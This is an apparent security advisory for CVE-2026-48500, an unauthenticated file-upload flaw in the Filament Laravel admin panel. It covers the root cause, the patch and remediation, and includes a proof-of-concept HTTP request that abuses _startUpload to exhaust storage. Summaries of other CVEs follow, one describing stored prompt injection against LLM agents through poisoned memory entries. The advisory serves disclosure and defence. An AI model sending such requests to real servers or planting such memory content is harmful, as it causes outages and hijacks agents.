Jun 24, 2026·7 min read·189 visits
Unauthenticated users can exploit exposed Livewire file-upload endpoints on public pages to write arbitrary files to server storage, causing potential denial-of-service conditions.
CVE-2026-48500 is an authorization bypass vulnerability within Filament, a full-stack Laravel administration panel suite. The flaw arises from the unauthenticated exposure of Livewire's file upload RPC endpoints on guest-facing pages, allowing remote actors to upload arbitrary files to temporary storage, potentially leading to storage exhaustion and service disruption.
Filament is a widely adopted suite of TALL-stack administration panel components for Laravel. To provide interactive and reactive interfaces, Filament translates complex PHP-defined form layouts into front-end components executed by Laravel Livewire. This architecture relies on seamless execution of asynchronous requests, mapping user inputs on the browser directly to properties within backend PHP components.
The core threat vector lies in the unauthenticated exposure of backend endpoints. The administration system supports guest-facing interfaces, such as authentication, password recovery, and multi-factor authentication setup pages. While these entry-level views require strict isolation, the architectural design loaded the same standard form-handling capabilities used inside authenticated dashboards.
Specifically, the application failed to isolate Livewire's underlying asynchronous file-upload mechanisms. Any component implementing the base form structures inherited these upload handling endpoints. Consequently, remote unauthenticated entities gained direct, unauthorized access to trigger temporary file-upload procedures on pages where no file fields existed, classifying this flaw as CWE-862 (Missing Authorization).
The root cause of this vulnerability lies in the class and trait composition model utilized by the Filament framework. In Filament version 3.x, components constructed forms using the InteractsWithForms trait. In versions 4.x and 5.x, this logic was abstracted into the InteractsWithSchemas trait. These traits are designed to provide support for any potential form field, including file inputs, markdown editors, and rich text fields that support media attachments.
To satisfy the structural requirements of dynamic file uploading, the form and schema traits composed Livewire's native WithFileUploads trait. Under Livewire's operational design, importing this trait automatically registers public Remote Procedure Call (RPC) methods. These methods include _startUpload, _finishUpload, _uploadErrored, and _removeUpload, which coordinate raw file streams over AJAX.
Because guest-facing classes such as Login, Register, and ResetPassword utilize Filament's form and schema behaviors, they implicitly imported the WithFileUploads trait and its associated RPC endpoints. Livewire operates under the assumption that if the parent component carries the trait, the endpoints are intended to be accessible. There was no native mechanism in place to verify whether the rendered layout actually contained a field configured to accept file streams. This created a validation gap where unauthenticated users could successfully interact with file-upload methods.
The remediation implemented across the different branches addresses the authorization gap by overriding the default behavior of the Livewire file-upload endpoints. Rather than globally disabling the traits, the patch introduces dynamic context validation via specific restriction traits. In Filament 3.x, the framework introduced the RestrictsFileUploadsToFormComponents trait, while 4.x and 5.x implemented RestrictsFileUploadsToSchemaComponents.
These newly introduced traits override the public Livewire endpoints and perform real-time introspection before allowing the execution of parent operations. When a call to _startUpload or _finishUpload occurs, the trait evaluates the target field name using the schema structure. The method isFileUploadForFormComponent or isFileUploadForSchemaComponent checks the path against active fields.
The trait executes a structured validation routine as seen in the following logic:
// Overridden start upload method within the patch
public function _startUpload($name, $fileInfo, $isMultiple): void
{
// Enforce authorization validation prior to proceeding with Livewire's base mechanism
abort_unless($this->isFileUploadForFormComponent($name), 403);
$this->baseStartUpload($name, $fileInfo, $isMultiple);
}The routine flattens the currently registered form components, matches the component state path to the exact key provided in the RPC request, and validates that the matched component is a legitimate instance of BaseFileUpload or a class implementing HasFileAttachments. If the path is missing or points to a non-upload component, the request fails with a HTTP 403 Forbidden status. This validation is complete and prevents arbitrary uploads because the schema validation is tied to backend component states that cannot be falsified by the client.
Exploitation of CVE-2026-48500 requires minimal sophistication as it relies on low-complexity, unauthenticated HTTP requests targeting public-facing routes. An attacker begins by identifying a Filament application running an affected version and locating any guest-facing page, such as /admin/login. The attacker does not need any credentials or valid session tokens.
The attack payload consists of a targeted HTTP POST request directed at the generic Livewire update route, typically /livewire/update. The request specifies the public component's unique snapshot ID and initiates an RPC method call targeting the _startUpload endpoint, using a fabricated field parameter like data.photo or data.attachment:
POST /livewire/update HTTP/1.1
Host: target-application.com
Content-Type: application/json
X-Livewire: true
{
"components": [
{
"snapshot": "{\"id\":\"login-component-id\",\"name\":\"filament.pages.auth.login\"}",
"calls": [
{
"method": "_startUpload",
"params": [
"data.photo",
[
{
"name": "exhaust_payload.bin",
"size": 52428800,
"type": "application/octet-stream"
}
],
false
]
}
]
}
]
}Upon receipt of this request, the vulnerable backend processes the RPC command and generates a valid, signed upload path. The attacker then submits the file content to the designated temporary directory. By running multiple concurrent requests, an attacker can write high-volume garbage data directly into storage/app/livewire-tmp/, bypassing all application-level input constraints and authorization policies.
The security impact of CVE-2026-48500 is classified under Integrity and Availability vectors. Although the vulnerability does not lead directly to unauthenticated remote code execution because files are restricted to Laravel's internal temporary directory with randomized filenames, the operational consequences can compromise system availability.
The primary threat vector is local storage depletion on the web hosting environment. Unchecked accumulation of high-volume uploads within storage/app/livewire-tmp/ can quickly consume all remaining disk sectors. When storage is fully exhausted, core server processes, including logging utilities and databases (e.g., MySQL, PostgreSQL), will fail to write transactions or lock files, causing immediate database corruption or complete operating system crashes.
In cloud environments utilizing remote storage drivers, such as Amazon S3, Google Cloud Storage, or Microsoft Azure Blob Storage, the vulnerability translates into direct financial and operational impact. Attackers can trigger rapid API requests and write processes to cloud buckets, driving up service integration costs and depleting execution transfer quotas. This scenario qualifies under MITRE ATT&CK as Resource Hijacking (T1496) and Network Denial of Service (T1498).
Remediation of CVE-2026-48500 requires immediate software dependency updates. Security administrators must execute Composer updates to acquire the corrected package versions. The vulnerability has been resolved in versions 3.3.52, 4.11.5, and 5.6.5.
# Execution steps to upgrade the Filament core library
composer update filament/filamentIf an immediate upgrade is not feasible, administrators should enforce temporary request-filtering controls at the reverse proxy or web application firewall (WAF) layer. A custom rule can inspect POST payloads directed at /livewire/update for the occurrence of the _startUpload or _finishUpload strings. If these methods are called in conjunction with components representing public authentication controllers, the request should be immediately dropped with a 403 status.
Developers creating custom public Livewire components must avoid implementing broad file handling traits unless strict validation checks are embedded inside the mount lifecycle. By applying the RestrictsFileUploadsToSchemaComponents or RestrictsFileUploadsToFormComponents trait, custom panels can ensure that they only accept file uploads when the active UI schema explicitly defines a compatible and authorized field.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
filament/filament filamentphp | >= 3.0.0, < 3.3.52 | 3.3.52 |
filament/filament filamentphp | >= 4.0.0, < 4.11.5 | 4.11.5 |
filament/filament filamentphp | >= 5.0.0, < 5.6.5 | 5.6.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 6.5 |
| EPSS Score | 0.00207 (10.69th percentile) |
| Impact | Storage depletion, Denial of Service (DoS) |
| Exploit Status | PoC / Conceptual |
| CISA KEV Status | Not Listed |
The application does not perform authorization checks when an actor attempts to access a function or resource, specifically exposing upload endpoints on routes where files should not be submitted.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.